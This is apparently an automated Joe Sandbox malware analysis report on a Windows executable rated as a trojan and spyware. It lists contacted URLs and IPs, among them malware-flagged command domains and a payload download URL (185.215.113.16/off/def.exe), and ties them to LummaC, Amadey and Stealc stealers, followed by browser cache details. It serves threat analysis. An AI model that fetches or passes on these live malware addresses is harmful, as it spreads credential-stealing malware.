https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://mindhandru.buzz/0Z	738KZNfnzz.exe, 00000000.00000003.2283568663.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284387615.00000000053C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_106.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://aka.ms/certhelp	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://mindhandru.buzz/	738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234047448.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2210817142.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257812991.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_106.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_106.7.dr	false		high
https://schema.org	chromecache_86.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://www.ecosia.org/newtab/	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/c	738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_106.7.dr	false		high
https://mindhandru.buzz/apis	738KZNfnzz.exe, 00000000.00000003.2233926754.00000000053CD000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234339980.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234078958.00000000053D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_106.7.dr	false		high
http://185.215.113.16/	738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://github.com/adegeo	chromecache_106.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_108.7.dr, chromecache_86.7.dr	false		high
http://185.215.113.16/off/def.exe	738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_106.7.dr	false		high
http://185.215.113.16/&	738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://channel9.msdn.com/	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_108.7.dr, chromecache_86.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581404
Start date and time:	2024-12-27 15:04:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	738KZNfnzz.exe renamed because original name is a hash value
Original Sample Name:	93db07f78d36ab5dd759d24e435b7875.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 184.28.89.167, 142.250.181.142, 173.194.220.84, 172.217.21.35, 88.221.170.101, 172.217.17.46, 20.42.65.88, 172.217.19.202, 142.250.181.138, 142.250.181.106, 172.217.17.42, 172.217.17.74, 172.217.21.42, 142.250.181.42, 216.58.208.234, 172.217.19.170, 142.250.181.74, 172.217.19.234, 2.19.126.156, 2.19.126.137, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 13.107.246.63, 20.12.23.50, 184.28.90.27
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, onedscolprdeus08.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.co
Execution Graph export aborted for target 738KZNfnzz.exe, PID 1492 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 738KZNfnzz.exe

Simulations

Behavior and APIs

Time	Type	Description
09:05:24	API Interceptor	86x Sleep call for process: 738KZNfnzz.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/steam/random.exe
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
s-part-0035.t-0009.t-msedge.net	LPO-0048532025.lnk	Get hash	malicious	DarkVision Rat	Browse	13.107.246.63
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	zox1oNM5Xl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	OTRykEzo6o.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	wceaux.dll.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	wp.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	13.107.246.63
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
CLOUDFLARENETUS	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	20.198.118.190
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	20.198.118.190
	A4FY1OA97K.lnk	Get hash	malicious	DanaBot	Browse	20.198.118.190
	vreFmptfUu.lnk	Get hash	malicious	DanaBot	Browse	20.198.118.190
	skript.bat	Get hash	malicious	Vidar	Browse	20.198.118.190
	msgde.exe	Get hash	malicious	Quasar	Browse	20.198.118.190
	6ee7HCp9cD.exe	Get hash	malicious	Quasar	Browse	20.198.118.190
	https://www.gglusa.us/	Get hash	malicious	Unknown	Browse	20.198.118.190
a0e9f5d64349fb13191bc781f81f42e1	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
